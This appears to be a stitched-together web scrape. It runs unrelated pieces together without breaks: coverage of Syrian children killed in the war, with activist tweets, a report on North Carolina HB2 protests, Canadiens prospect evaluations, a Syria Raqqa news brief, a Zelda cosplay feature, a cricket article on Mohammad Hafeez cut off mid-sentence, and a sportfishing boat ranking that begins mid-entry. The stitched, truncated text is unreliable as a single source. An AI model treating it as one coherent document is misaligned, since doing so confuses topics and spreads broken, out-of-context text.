The protests first broke out in Daraa in response to the detention and torture of 15 children accused of painting graffiti slogans calling for the government's downfall. In response and since then, security forces have repeatedly and systematically opened fire on overwhelmingly peaceful demonstrators. The security forces have killed at least 418 people in the Daraa governorate alone, and more than 887 across Syria, according to local activists who have been maintaining a list of those killed. Exact numbers are impossible to verify.
Ever since, an estimated 4,355 Syrian children been killed (up to 15/1/2013) according to the latest report released by Martyrs of the Syrian Revolution Database. Besides thousands more are wounded, detained, or left without a family, or medical aid and humanitarian assistance. Human Rights Watch, for instance, shares evidence, which shows that cluster bombs was used to killed children at the hands of the regime's air forces.
On January 18, UNICEF's Regional Director for the Middle East and North Africa Maria Calivis stated:
“A series of reports from Syria this week underlines the terrible price children are paying as long as conflict in the country rages.
Meanwhile, Syrian children are the forgotten victims of the 22-month conflict. The number of children's lives lost continues to accumulate every day; and Syrian activists have no choice but to post the bad news on social media.
Here's a round up of reactions from Syrian netizens on Twitter:
15 Jan 2013: @rallaf: The Assad regime killed at least 21 children and 130 adults in #Syria yesterday, mostly in air strikes on homes and bakeries. 1 Jan 2013: @RevolutionSyria: Slaughtering over 52,000 defenseless civilians incl. 4,000 children isn’t a civil war but gigantic crimes against humanity. #Syria 26 Dec 2012: @RanaKabbani54 27 children + 13 mothers murdered by genocidal #Assad today, among 120 killed so far as a Christmas gift to our people. #Syria #AssadCrimes 31 Dec 2012: @farGar: NOT including today, more than 103 Syrians kids have been killed since Christmas eve #Childvictims
Dozens of Children Murdered in Syria
On May 25, 2011, after almost a month in custody, the world heard the horrifying story of torturing and killing of Hamza Ali AlKhateeb, a 13-year-old Syrian boy who died allegedly while in the custody of the Syrian government in Daraa.
His death showed numerous injuries, including broken bones, gunshot wounds, burn marks, and mutilated genitals
One year after Hamza's martyrdom story, Al-Houla Massacre took place. On May 25, 2012, activists blamed forces loyal to Bashar al-Assad of murdering 108 Syrians, including 25 men, 34 women and 49 children under the age of 10 (per U.N. observers) by in the town of Al-Houla in Homs. The next footage [Warning: Graphic, Children Death] depicts the aftermath of a massacre showing children bodies, and human parts covered with blood.
Syrian children are paying the price of war between adults in Syria. Syrian refugee children are overwhelmed, as they have never imagined being caught in such a situation. The Syrian Organization for the Defense of Human Rights wrote on its Facebook page on December 28, 2012:
Almost 4,000 Syrian children have been killed so far in Assad's war on Syria, tens of thousands more are maimed and wounded, all are traumatized and terrorized.. Question for World leaders How many murdered children will it take to make a ‘red line'? by a regime that sees them as legitimate targets.
Many initiative are available to help the children of Syria. For instance, people can donate to Save the Children to provide warm clothes, shoes, and blankets for children. Winter aid packages specially-made for infants are available.
Hopefully, we could make a difference as Leila hoped on Twitter:
@leila_na: Looking forward to the day when I'll open my computer and will not find pictures of beautiful children slaughtered. # ThisIsSyria
This post is part of our special coverage Syria Protests 2011/13You must enter the characters with black color that stand out from the other characters
— Rain Dove has built her career by breaking the gender mold. The model, who turned heads at New York's Fashion Week, identifies as gender neutral, often posing for similar photos in both masculine and feminine attire, with dramatically different results.
Dove and several other models traveled to North Carolina this week to speak to business owners, politicians and activists groups about HB2.
Dozens of municipalities, political leaders and musicians already have voiced opposition to HB2, which requires people to use public bathrooms that correspond to their birth gender, excludes gay and transgender people from protections against employment and public accommodations discrimination and blocks cities and counties from extending such protections to them.
"I heard about HB2, and I read up about it, and it was so concerning that I actually put my career on hold and flew out here immediately from London," Dove said.
She and Dezjorn Gauthier, a transgender man, are calling for a full repeal of the controversial law. Gauthier, under the new law, must now use the women's restroom.
"If I were to go into a women's room, I feel that I would make women feel very uncomfortable," Gauthier said. "Then, for myself, I would feel unsafe walking out and possibly having someone's boyfriend, or brother or another male figure outside questioning why a male was inside."
Steven Noble, host of the radio program Called 2 Action Today, believes the new law is designed to protect women and children from predators, not to discriminate.
"There are sexual predators that would absolutely dress up as a member of the opposite sex just to gain access to the bathroom, so what about that," he said.
Noble said he while he disagrees with the opinions of Dove and Gauthier, he wishes more supporters would show compassion to the transgender community.
"If you do anything legislatively to open the door a little bit more for a sexual predator to take advantage of it, for me as a father and as a Christian, no way! I have to oppose that even though there are going to be hurt feelings in the transgender community," Noble said.
Dove believes HB2 is illegal and called the bill "unenforceable" because under state law, police cannot demand identification unless they are "reasonably certain" a crime has been committed.Last month’s Canadiens prospect report gave us an in-depth look at what the top-10 prospects in the organization had to focus on in order to eventually ascend to NHL rank. Canadiens director of player personnel and player development Martin Lapointe was forthcoming and pointed in his evaluation.
For this month, we’re turning to Laval Rocket head coach Sylvain Lefebvre to give us the skinny on how different Canadiens prospects are developing with the team’s AHL affiliate.
We’re skipping defenceman Noah Juulsen, who broke his foot during Canadiens training camp and is still 2-3 weeks from making his Rocket debut.
Without further ado, here are Lefebvre’s observations on several key Canadiens prospects.
Charlie Lindgren, 23, G
Signed as unrestricted free agent in 2015
Season to date: 9 GP, 3 W,.885 SA%, 3.53 GAA
SN: What do you like most about him?
Lefebvre: "He competes. He’s a gamer. He wants the net, and he knows when he’s playing well and also knows when he’s not playing well. He’s a very competitive guy.
"Even the games that he didn’t play as well and had a bunch of goals scored on him; it’s not that he was awful. He made a bunch of great saves. It’s a team-game. We didn’t play our best games in front of him, either."
SN: What can he do better?
Lefebvre: "What he can do better is just his mental preparation.
"But, like I said, he competes a lot and I think he just needs to get back to basics and compete even more—even in practices."
Canadiens goalie Charlie Lindgren. (Nam Y. Huh/AP)
Reason for optimism…
NCAA prospects Jake Evans and Ryan Poehling are off to a terrific start for their respective teams.
Evans, who was selected by the Canadiens in the seventh round of the 2014 draft, has three goals and 12 assists in eight games with Notre Dame and leads all NCAA scorers with 15 points.
Poehling, who was drafted 26th overall by the Canadiens in 2017, started off his season with St. Cloud State by scoring two goals and adding six assists in his first five games.
Antoine Waked, 21, RW
Signed as an unrestricted free agent in 2017
Season to date: 11 GP, 0 G, 2 A, 2 P, -3
SN: What do you like most about him?
Lefebvre: "He hounds the puck. He’s very aggressive on the forecheck, he’ll get physical, and he can make the odd play, too. I like his hockey sense.
"He’s in a bit of a rut lately, but I think that’s normal for a first-year guy"
SN: What can he do better?
Lefebvre: "For him it’s really about being consistent and for him to be as good as he can on any given night. That’s the biggest challenge for a guy who’s just become a professional athlete; to be as good as you can be every night. You know you’ll have some downs, but you don’t want to have too many. You don’t want the jagged edge to disappear and you want the right learning curve and to find more consistency.
"For coaches, when you have players who can be consistent, that’s the real nice thing to have. I think he can get better at that."
NHL on Sportsnet NOW Live stream over 300 marquee regular season games, regional matchups for the Edmonton Oilers, Calgary Flames, Vancouver Canucks and Toronto Maple Leafs, and the entire 2018 Stanley Cup Playoffs.
Jeremy Gregoire, 22, C/RW
Drafted: 6th round, 176th overall, 2013
Season to date: 7 GP, 1 G, 3 A, 4 P, +4
SN: What do you like most about him?
Lefebvre: "He’s another guy that’s a gamer. He’ll fight anyone, and sometimes we have to tell him not to fight a certain guy that’s too big. He’s got the heart of a lion. He’s improved a lot in the last two years. He’s been injured a bit lately.
"He can bring some offence. I use him in all different situations—most of it on the penalty kill—and I know I can play him on any line. I’ve even used him at centre at times. I know what I get from Jeremy. He’s a guy that brings it every night."
SN: Does he have the talent to one day graduate to the NHL?
Lefebvre: "I wasn’t the most talented player, but sometimes when you can bring consistency and intangibles other players don’t have you can make it to the NHL. When you bring the work ethic and the edge other players don’t have—that’s what Jeremy has. Even if people think he’s not the most talented guy, he’s one of those guys—because of his heart and the way he plays—that can maybe cause a surprise and make it to the NHL."
Brett Lernout, 22, RD
Drafted: 3rd round, 73rd overall in 2014
Season to date: 13 GP, 0 G, 1 A, 0 P, -3
SN: What do you like most about this player?
Lefebvre: "He was the most improved player last year. He made a big jump in his skating. He’s a faster skater than people think, and I like his physical presence, also. When he plays physical early in a game, you know that he’s prepared and you know that he’s going to play a good game. He’s a guy we’ve used a lot on the penalty kill and even some power plays. He’s logged a lot of minutes and right now he’s playing on our top pairing with Matt Taormina, and we like that pairing."
SN: What can he do better?
Lefebvre: "He needs to improve his mobility, but also his playmaking. His first pass… to be an NHL guy on a regular basis, your results on puck touches have to be a lot more positive than negative. I think there’s always an improvement for a guy like Lerny to make in that part of the game."
Tape II Tape Ryan Dixon and Rory Boylen go deep on pucks with a mix of facts and fun, leaning on a varied group of hockey voices to give their take on the country’s most beloved game.
Daniel Carr, 26, LW
Signed as an unrestricted free agent in 2014
Season to date: 11 GP, 7 G, 5 A, 12 P, -1
SN: What do you like most about him?
Lefebvre: "He seems to be on a mission right now; he wants to get back in the NHL. He went through a tough time last year with injuries and he was sent down and called back up and sent down again. Being put on waivers after this year’s training camp and not being picked up was kind of a hard pill to swallow for him, and he’s on a mission to get back into the NHL.
"He’s a goal scorer. That’s what he does. He loves to play, he loves to have the puck in key situations, and those are things you love about him. He loves the game so much; he works at his game, and if you ask him to do something he’ll do it. He’s always trying to improve on every aspect of his game."
SN: If a scoring role isn’t available to him in Montreal, is there something he can focus on to fill a specific role that makes him more appealing as a call-up option?
Lefebvre: "This year he’s on my first penalty killing unit, with Byron Freose right now, and he’s done an amazing job so far. In a recent game we had to kill a penalty in the last minute where Toronto pulled the goalie and we were 4-on-6 and he blocked two or three shots and cleared the puck. His positioning is improving a lot on the penalty kill and he’s been a pleasant surprise there for us, for sure."
The Hockey PDOcast Dimitri Filipovic provides entertaining and thoughtful dialogue about the game of hockey with an analytical edge. Not as nerdy as it sounds.
Daniel Audette, 21, C
Drafted: 5th round, 147th overall in 2014
Season to date: 13 GP, 4 G, 3 A, 7 P, -8
SN: What do you like most about this player?
"I like his speed and his playmaking ability. He was fast last year, he worked out really hard this past summer and put in the time, and he’s improved his skating and his quickness. His play with the puck, too. Obviously he needs to improve on his defensive zone coverage, which he did a bit last year. He’s building his foundation right now. Maybe points aren’t coming as quickly or easily as he would like, but we see improvement in certain aspects of his game and the defensive zone is one of them."
SN: Does he have an NHL future?
Lefebvre: "I think he has the speed and the skill and can add onto it. I think he has an NHL future. When? I don’t know. But sometimes players take longer than others, and he might be one of them. If you look at [Canadiens forward] Charles Hudon, it took him three years. Maybe Daniel will be a guy like that, who takes a bit more time. But when he does make the jump, maybe he’ll stick around."
Nikita Scherbak, 21, RW
Drafted: 1st round, 26th overall in 2014
Season to date in AHL (called up for two games before injury): 6 GP, 1 G, 8 A, 9 P, +3
SN: Did you see something different in Scherbak after being cut early in training camp by Montreal?
Lefebvre: "He was more enthused. He didn’t like being sent down after training camp this year. He went back for one pre-season game at the end and he knew he was only going for a game and coming back, but the week where he was sent down to practice with us before that I asked him to lead the way for our other guys and he embraced that role. He really took that on. He worked hard, he was a different player in that last [NHL] pre-season game versus the rest of training camp. I thought he skated better and was more confident with the puck.
"When he has the puck that’s when he’s good. It’s a matter of sometimes going to get the puck and being strong on the puck, and we tend to forget that he’s missed quite a bit of time due to injury—even if it’s his third season in the pros. He’s also a late birthday. He’s not even 22 yet. I think he’s still growing into his body and he’s going to get stronger. He’s a big kid, and if he can get stronger and become more powerful without losing any speed, he’s going to be a good player in the NHL.
Rogers Hometown Hockey Celebrate Our Community. Celebrate Our Game.
Mike McCarron, 22, C
Drafted: 1st round, 25th overall in 2013
Season to date in the AHL (called up to Montreal): 6 GP, 2 G, 2 A, 4 P, Even
SN: What do you like most about him?
Lefebvre: "Mike was very disappointed with his training camp, even if he was kind of expecting to start the season with us. But I think that he’s improving some of his play at centre; his faceoffs, his defensive zone coverage, and even on the power play. On the power play in front of the net he’s a big guy who can tip pucks and pick up rebounds. He’s got pretty good hands and a good knack around the net. He played good with us, scored four points in six games before getting called up."
SN: What can he do better?
Lefebvre: "One area that Mac has to improve is discipline. Sometimes he takes penalties that you wish he wouldn’t take. He can improve his skating and his strength on the puck, too."
Zach Fucale, 22, G
Drafted: 2nd round, 36th overall in 2013
Season to date: 5 GP, 4 W,.881 SA %, 3.46 GAA
SN: What do you like most about him?
Lefebvre: "Zach is another guy that competes very hard. He practises hard and he’s always in a good mood and always has a good attitude. When you give him the net, he wants it. You can see that he’s very enthusiastic about it."
SN: What can he do better?
"What he needs to improve is consistency. That’s the big thing for him."
Montreal Canadiens goalie prospect Zachary Fucale. (Dave Chidley/CP)
************
Prospects in major junior:
OHL:
Will Bitten (Hamilton Bulldogs), 17 GP, 3 G, 11 A, 14 P, -7
Michael Pezzetta (Sudbury Wolves), 18 GP, 10 G, 10 A, 20 P, -4
WHL:
Josh Brook (Moosejaw Warriors), wrist surgery on Sept. 22, out three months
Scott Walford (Victoria Royals), 19 GP, 0 G, 8 A, 8 P, +11
************Syrian government forces were poised to advance into the ISIS stronghold of Raqqa province and allied Russian jets kept up airstrikes on rebel-held towns north of Aleppo, the Syrian Observatory for Human Rights reported Saturday.
An advance into Raqqa would re-establish a Syrian government foothold in the province for the first time since 2014 and may be aimed at preempting any move by Saudi Arabia to send ground forces to fight ISIS militants in Syria.
Russia has said it will keep bombing ISIS and the al Qaeda-linked Nusra Front, which in many areas of western Syria fights government forces in close proximity to insurgents deemed moderates by Western states.
Helped by Russian air power, the Syrian army and its allies have been pursuing offensives on crucial front lines of western Syria, while also attacking ISIS further east.
The ultra-hardline ISIS, whose main aim is to expand its "caliphate" rather than toppling Assad and reforming Syria, is being targeted in separate campaigns by a U.S.-led alliance and the Syrian government with Russian air support.
The Syrian government has said that any foreign forces in the country without its consent will be fought.
...Cosplay is an art form that takes a lot of time, dedication, and money. At almost every event that the Pixelated Geek staff covers, we are impressed with what dedicated fans do to represent their favorite franchise and/or character. However, it is not often that we are blown away by such fantastically detailed costumes.
Recently, we were tipped off about a group of very dedicated cosplayers that are recreating the Zelda universe in real life. The Zelda Project (TZP) is a grassroots cosplay project originally thought out by costume designer, Sarah Quillian. The TZP team’s goal is to create a very detailed and unique film trailer by December 2011. The first part of their project, which is currently underway, consists of creating the costumes, hiring the right looking actors that look similar to the characters, finding the right locations that could represent Hyrule, then creating beautiful photosets like the one seen past the break.
lost1
lost2
lost3
lost4
lost5
lost6
lost7
lost8
The above photoset looks almost too good to be real. Some might even think it was shot in front of green screen. But, as their website says, everything, except for some special effects, are real.
“The Lost Woods is the first in the series of still photography cosplay photo sets by The Zelda Project. Spanning 4 days, the team drove more than 1425 miles round trip, shot over 1000 photos in Northern California’s Coastal Redwoods, and woke up at 4:00AM every morning in order to catch the fog at sunrise. Once the photos were developed, they went under post processing, adding visual effects as a final touch to realize the concept of an enchanted ancient forest.”
Once all of the still photography is completed, the TZP team will go into film production. We have contacted Sarah in hopes for an exclusive interview about this project. If you would like more information about the project’s progress, or would like to donate to it, visit the team’s website at TheZeldaProject.net.
[youtube]http://www.youtube.com/watch?v=R_kqKxHJzXU[/youtube]SUSPECT ACTION CONUNDRUM
Time for another review to stop repeated chucking?
Akash Sarkar • Last updated on Sat, 28 Oct, 2017, 05:46 PM
Mohammad Hafeez was reported for a suspect bowling action for the third time in his career this month © Getty
On October 20 this month, the International Cricket Council released the latest player rankings. Pakistan, who have been doing exceedingly well, had more reasons to celebrate as Hasan Ali rose to the top spot in the bowler's table in One-Day Internationals while Mohammad Hafeez took pole position on all-rounder's rankings.
And a day earlier, something interesting had happened. Hafeez had been reported for suspect action for the third time in his career. In the third One-Day International in Abu Dhabi, umpires Ahsan Raza, S Ravi, Richard Kettlebrough and Shozab Raza and/or match referee Andy Pycroft weren't convinced about Hafeez's action. A report was submitted to the ICC, and the team management, and the allrounder has been asked to undergo testing again. Since it hasn't been mentioned, it's understood all his deliveries are under scrutiny.
Hafeez was first reported in 2014 and since then has had almost three years to work on his action. Having had so much time, the onus now falls upon Hafeez to ensure that there aren't any instances where the suspicion falls on his action again. During the third ODI, in which he was reported, Hafeez was able to bowl a touch quicker. The following ODI, in Sharjah, there was a conscious effort to deliver the ball with the elbow being within permissible limits. Now that also resulted in the ball coming out a lot slower.
Hafeez being reported again, after being asked to work on his action, might come across as surprising or unsurprising for you. However, there was something even more intriguing in the release the game's governing body had sent. Here's how the last part of the timeline mentioned in the release read:
This report is deemed to be a first report and the procedure outlined in clause 4.1 of the ICC Illegal Bowling Regulations shall now apply.
The intriguing part here, if you've missed it, is where it says "this report is deemed to be a first report". What that actually translates to is if Hafeez fails the upcoming test, he'll be suspended from bowling till he corrects his action and won't be handed another 12-month suspension; he has already served one year long suspension from July 2015 to July 2016.
Now here's where it gets tricky. Shouldn't a bowler who has had time to work on his action be straightaway given another lengthy suspension if he fails the test again. Agreed, it's pretty difficult to get used to the remodelled action and a player, at times, unconsciously can fall back upon his old habits.
Or, the bowler simply isn't as effective as he was and the frustration of not being able to replicate previous performances gets to him. It's only our nature to fall back on what we are comfortable doing when under pressure. There's no method to wipe out what you are used to doing. So it's natural the bowlers blur the lines. And that also means you are breaking the rules, which isn't acceptable.
"Since the time I've started bowling with my remodelled action, starting from Australia, since then there hasn't been any problem. I've continued with my reworked action only. There was problem in just one match. The previous game, or the games after that, there haven't been any issues," Hafeez said about being reported again. "I'm very confident that there's no issue with my bowling. The bend is always going to be there but all I need to take care of is keep it under 15 degrees."
Since December 2014, Hafeez has bowled in 23 innings and has picked up 14 wickets at an average of 53.28. Since being cleared to bowl last year, Hafeez has bowled in 17 innings in the 18 matches he has played and for his seven wickets he has averaged |
340 is also notable because it was one of the first sportfishing boats to come standard with a marlin tower.
25 SeaVee Courtesy SeaVee Boats
46: 25 SeaVee Don McGee founded SeaVee in 1974, and that company later split into two separate companies: SeaVee Boats and Whitewater Boats. The 25 SeaVee became an instant classic in South Florida, as many of the top guides in Miami and Key West chose this boat as their fishing platform. The 25 became known overnight as a tough and capable performer, able to fish in the roughest seas and run through serious chop. The 25 became the platform that SeaVee used to expand its line into the modern fleet it produces to this day.
Phoenix 29 Convertible Courtesy PowerBoat Guide
45: Phoenix 29 Convertible Phoenix sold more than 750 of the 29, making it one of the best-selling boats around. Introduced in 1977, the 29 was built for 10 years and became a favorite of offshore fishermen around the world because it could be powered by low-horsepower diesels for a very efficient ride. The 29 came with a large but Spartan interior, and it had a large fishing cockpit, making it a great choice as a charter boat. You still see some in operation among foreign fleets.
65 Paul Mann Courtesy Paul Mann
44: 65 Paul Mann Paul Mann is another of the great North Carolina boatbuilders, and his boats deserve mention because of their combination of high performance and beautiful interior design. Mann was among the first to take the interiors of his boats to an entirely new level, offering dazzling combinations of burnished wood and lush fabrics, helping transform Carolina boats from relatively Spartan fishing machines into sportfishing yachts that can rival anything turned out by other custom builders in other areas.
37 Merritt Richard Gibson
43: 37 Merritt The 37 was built by Buddy Merritt and became the boat that ruled the Edge at Cat Cay during the heyday of the giant bluefin tuna migration along the Bahamas Bank at famed Tuna Alley. With only 13 of them ever built, and landing in the hands of the best crews of the day, the 37 quickly made a reputation as a fishy piece of equipment with a good look to her. By today’s standards, the 37 is a small boat, but it has reached far and wide, and traveled from Newfoundland to Venezuela and all ports between on its own bottom with great success.
18 Maritime Skiff Courtesy Maritime Skiff
42: 18 Maritime Skiff The Maritime Skiff deserves mention because of the impact it has had in the Northeast. Maritime Skiff was launched in 1991, and soon thereafter, it seemed like everybody in the Northeast was driving one model or another, most notably the 18. The practical, simple rolled-edge design proved immensely popular among inshore and nearshore anglers alike, and almost overnight, the Maritime Skiff was the boat to have.
Sea Cat SL 25 Courtesy Sea Cat
41: Sea Cat SL 25 The Sea Cat was the boat that kicked off the catamaran craze that boomed in the 1990s and is still going strong. The 25 was a standard center-console design and offered a surprisingly comfortable ride in a short chop, a ride that many people found irresistible. It is said that either you are a cat person or you’re not, but the 25 Sea Cat made “cat people” out of a great many boat buyers who were tired of getting beaten up when they went fishing.
Blackfin 32 Courtesy PowerBoat Guide
40: Blackfin 32 Blackfin’s 32 was introduced in 1980 and drew inevitable comparisons to the 31 Bertram, which was nearing the end of its production. The 32 was built on an aggressive deep-V hull and came standard with gasoline inboards, but most of them were sold with Caterpillar 3208 diesels, an excellent combination of performance and efficiency. The boat featured raised engine boxes and a huge cockpit, with a wide beam for stable operation in heavy seas.
Chris Craft 30 Tournament Courtesy PowerBoat Guide
39: Chris Craft 30 Tournament This little gem of a boat has proved extremely popular over the years, and is another boat that has been compared by some to the 31 Bertram for her fishability. Indeed, Ray Hunt designed the Chris Craft’s deep-V hull, so there is some similarity there, plus the boat came with hinged engine boxes in the cockpit, like the Bertram. The 30 featured a Spartan cabin but offered a huge cockpit, with lots of fishing room. The 30 was built for only three years in the mid-1970s, but it has become a favorite among those who restore older boats, and many are still fishing today.
41 G&S Courtesy G&S Boats
38: 41 G&S On one of the more-famous 41-foot G&S boats,_ Raptor_ (pictured), Capt. Peter B. Wright and angler Stewart Campbell caught and released a record 73 giant bluefin tuna in a single day off Hatteras, North Carolina. Later 41-footers featured rounded and angled transom sections, excellent at maneuvering plus agile and super-fast while backing down. Known for its simplicity, ruggedness and great fishability, the 41 G&S has been a top choice for hardcore crews shipping the boat to hard-to-reach destinations that often prove to have incredible action. Boats like the Hooker, French Look, Silver-Rod-O, Spirit of Pilar and others have traveled far and wide chasing world records and big fish.
Wellcraft V20 Steplift Courtesy Wellcraft
#7: Wellcraft V20 Steplift This hugely popular boat was one of the best-selling designs ever for Wellcraft. It’s important to remember that Wellcraft was a huge player in the fishing-boat business in the 1970s, due in large part to boats like the V20. It came in many different forms, but all of them were capable, utilitarian boats that rode well and carried a relatively wide beam, providing excellent stability.
Mako 17 Courtesy classicmako.com
36: Mako 17 The 17 Mako was the third boat built by Mako Marine in the late 1960s, and it went on to become one of the best-selling boats of all time. Generations of anglers young and old have caught untold numbers of fish out of these boats, and Mako built them until quite recently, making the 17 one of the longest-running designs on the market, a testament to its inherent appeal. Many different models have been offered over the years, and thousands of them still take people fishing each day.
54 Scarborough Richard Gibson
35: 54 Scarborough Ricky Scarborough was another game-changing North Carolina boatbuilder who turned out many boats that became famous around the world. His classic designs featuring the famous Carolina flair and seaworthy hulls became the boats of choice for some of the world’s top crews. In the 1980s and ’90s, Scarborough boats were found in every major offshore-fishing hot spot on the planet. The 54-foot A-Fin-Ity was one of the most notable, a top campaigner on the now-defunct BXRL tournament series.
Rampage 31 Courtesy PowerBoat Guide
34: Rampage 31 The Rampage 31 was considered a high-tech boat when it was introduced in 1985. Designer Dick Lema built the boat utilizing a fully cored modified-V hull, yielding a lightweight and efficient design that performed well with minimal power requirements. An immensely practical express layout provided superb fishability, and a small cabin provided basic creature comforts. The 31 also was ahead of her time in the live-bait department, as it came with a huge 85-gallon livewell built into the cockpit deck.
36 Yellowfin Courtesy Yellowfin Yachts
33: 36 Yellowfin As Yellowfin Yachts grew as a company, based on the initial success of the original 31-footer, they began branching out into larger boats, including the 36. One of the first boats to offer triple-outboard-power options, the big Yellowfin soon became an undisputed leader in tournament-level competition because of its high level of performance, fishing-friendly layout and high-tech construction techniques. The 36 remains one of the top-selling 36-foot center consoles on the market today due to these same attributes.
55 Viking Courtesy PowerBoat Guide
32: 55 Viking Viking Yachts has produced many popular models over the years, but the 55 rewrote the record books in terms of popularity and style. When it was introduced in 1998, the 55 sported a sleek and modern new look that became immensely popular overnight. Sales climbed as buyers put the 55 to the test on some of the world’s toughest fishing grounds, further establishing Viking as the builder of boats capable of competing at the very top levels of offshore tournament fishing. The 55 offered a combination of styling and performance that raised the bar for all other builders at the time.
Hewes Bonefisher Courtesy Maverick Boat Company
31: Hewes Bonefisher The first two Hewes Bonefisher models were delivered to Lefty Kreh and Bob Stearns — who were both instrumental in its development — in 1970. Bob Hewes thereby created the very first true production flats skiff. Hewes Boats went on to produce a long line of improved skiffs over the years, as well as spawn a lengthy list of competitors, as interest in flats fishing soared in the 1970s and ’80s. The Hewes Bonefisher was the boat that popularized flats fishing among the masses more than any other design.
47 Buddy Davis Courtesy PowerBoat Guide
#30: 47 Buddy Davis The late Buddy Davis became the first Carolina boatbuilder to build boats on a production basis, and his 47-footer became an instant success. The 47 turned into one of the most popular boats in her size range after she was introduced in 1986, and turned a whole new generation of buyers onto the many advantages and design innovations of Carolina boats. The 47 also raised the bar for many established production builders, as the level of fit and finish on Davis boats was a cut above what many offered.
Subscribe Now and Save 63%
Limited time offer. Salt Water Sportsman for iPad included. Gift subscriptions available.
23 Formula Courtesy Formula
29: 23 Formula According to urban boatbuilding legend, all modern deep-V center-console boats began as imitations of the original 233 Formula, first introduced in the mid-1960s. The Formula was the brainchild of the late Don Aronow, a major force in offshore racing in the 1960s and ’70s, and the creator of the Cigarette racing team. The racing heritage served the Formula well, as it rivaled the 31 Bertram (also sprung from a racing background) in terms of its ride in heavy seas. Classic 23 Formulas remain a favorite among collectors and restoration enthusiasts.
28 Carolina Classic/Albemarle Courtesy PowerBoat Guide
28: 28 Carolina Classic/Albemarle The 28 Albemarle became a huge hit in the express-boat market when it was introduced in 1984, and the same general design continued to flourish when former Albemarle employee Mac Privott built the first 28 Carolina Classic in 1994. Both boats sold in large numbers and proved extremely durable over the years for the serious fishermen who bought them. Both models were available as either straight inboards or as jackshafted sterndrives.
36/37 Topaz Courtesy Mar-T Charters
27: 36/37 Topaz Express boats were few and far between when the Topaz 36 entered the market in 1980, but that soon changed as scores of fishermen embraced the no-nonsense layout of the Topaz. There was no mistaking this for a fancy cruiser; it was a fish boat through and through, with a huge cockpit, a large raised bridge deck, and comfortable if Spartan accommodations. Topaz boats became a common sight on the offshore grounds, especially in the Northeast, and in 1986, Topaz introduced the much-improved 37-foot model, which continued the successful run begun by the 36.
Conch 27 Courtesy PowerBoat Guide
26: Conch 27 The Conch 27 might be the only boat designed exclusively to suit the guides of Key West, Florida, but its no-nonsense fishing design and long list of amenities made it extremely popular with fishermen from the Keys and elsewhere. The Conch featured rugged construction, and you could fish it in nasty seas when others stayed home, which also contributed to its allure. Sold factory direct on a custom basis, the Conch 27 became the boat of choice for a whole generation of fishermen who considered themselves a cut above the rest.
Hells Bay Whipray Courtesy Hells Bay Boatworks
25: Hells Bay Whipray After the game-changing Hells Bay Whipray 16 hit the scene, guides needed a little more room for clients but didn't want to sacrifice the super-skinny technical-poling abilities that the 16 offered. Hal Chittum pushed his crew with input from the finest flats guides in the business, and the Whipray 17.8 Professional was launched. It also doubles as great option for a tender on a traveling game boat because of its lightweight, practical layout and super fishing prowess.
25 Hydra-Sports Courtesy Hydra-Sports
24: 25 Hydra-Sports The Hydra-Sports deserves mention because it was the first model offered with Kevlar construction. This immensely strong fabric is now used in many modern boats, but in the early 1980s it was quite rare, and in fact it didn’t take off for some time. But the 25 Hydra-Sports became known as a super-tough bluewater boat with a soft ride to boot.
31 Fountain Courtesy Fountain
23: 31 Fountain Fountain’s sleek 31-footer enjoyed many years at the top of the heap in competitive fishing, particularly on the Southern Kingfish Association circuit. The Fountain’s fast and soft ride played well with kingfish anglers, as long runs in open water are often the rule rather than the exception, and the 31’s rugged construction dealt with the punishing demands that fishing is known for. Fountain was one of the first companies to translate success on the racing circuit into success in tournament-level fishing, and the 31 is the vehicle that got them there.
Gamefisherman 40 Courtesy PowerBoat Guide
22: Gamefisherman 40 The 40 grew out of the plans for the fabled Dream Girl, a one-off design created by Capt. Walter Voss and Len Broadhurst in the late 1950s. The Gamefisherman 40 has established itself as a prime big-game-fishing platform. Probably the most famous of all is the Tijereta captained by Capt. Bubba Carter, one of the first on the scene in Costa Rica in the late ’80s establishing that incredible fishery that’s still enjoyed to this day. With her clean running hull and simple, efficient day-boat layout, the Gamefisherman 40 still offers one the of the finest all-around big-game fishing platforms of all time.
23 SeaCraft Courtesy Tracker Marine
21: 23 SeaCraft The 23 was a natural progression in the growth of the SeaCraft line during the ownership of Bill Potter. The 23 embodied all of the natural attributes of the 20, a graceful sheer and sleek raked stem for a classic timeless look, a soft ride, efficiency, and excellent fishability, yet it offered higher freeboard, extra length and larger compartments — along with all the other benefits that a few more feet offers. In the early ’80s and still today, the 23 was often seen offshore, in the canyons all along the East Coast, Gulf and throughout the Bahamas.
Maverick Mirage John Brownlee
20: Maverick Mirage Maverick’s Mirage 1 rewrote the book on technical, shallow-water fishing. With a super-skinny, super-quiet hull design, anglers who chase bonefish, tarpon and permit discovered a skiff that suited their needs like nothing had before. The Mirage appeared in 1991, was designed for push-poling, and could slip into shallower water and closer to fish than previous flats models, making it a huge hit with the shallow-water crowd, spawning many imitations over the next decade or two. Many subsequent models from Maverick have improved upon that original design.
34 Rybovich Courtesy Michael Rybovich and Sons
19: 34 Rybovich You can’t have a list of great sportfishing boats without including the original. When the 34-foot Rybovich Miss Chevy II was built in 1947 for automobile dealer Charles Johnson, it became the very first custom sportfishing boat designed and built solely for that purpose. Up until that time, converted cabin cruisers had been pressed into service as big-game boats, with limited success. The Miss Chevy II was specifically designed for that mission. It later became the Sail Ahoy and served for many years as a charter boat in West Palm Beach, Florida, for Capt. Frank Ardine.
Pursuit 3000 Offshore Courtesy Pursuit Boats
18: Pursuit 3000 Offshore The 1995 introduction of the 3000 Offshore cemented Pursuit’s reputation as the builder of serious fish boats. Many earlier Pursuit fish boats had been rebadged models from sister company, Tiara, but the 3000 was all Pursuit, and came with an aggressive and sleek “Palm Beach” look that many fishermen found attractive. At just under 30 feet in length, it offered an intelligent combination of fishing space and belowdecks amenities, combined with outstanding performance and economy, a winning combination.
35 Cabo Courtesy PowerBoat Guide
17: 35 Cabo Cabo’s 35 Express actually debuted one year after the company’s 35 flybridge model hit the market in 1992, but the express model became a classic almost from day one. It also turned a lot of former convertible owners into express owners, as fishermen discovered the simplicity and ease of operation the Cabo offered. The company’s high quality and exceptional attention to detail also attracted lots of new owners, and the 35 Cabo went on to become a huge seller in both flybridge and express versions.
54 Bertram Courtesy Bertram Yachts
16: 54 Bertram Bertram’s original 54 became one the best-selling and most widely admired sportfishing boats in history, due to her impressive seakeeping abilities and rugged construction. Bertram’s deep-V hull allowed the 54 to run hard in seas that kept many boats at the dock, and the 54’s large cockpit provided the perfect arena for both serious weekenders and tournament pros alike. First introduced in 1981, Bertram built the original 54 for 12 years, making it one of the top-selling large sport-fishermen of all time.
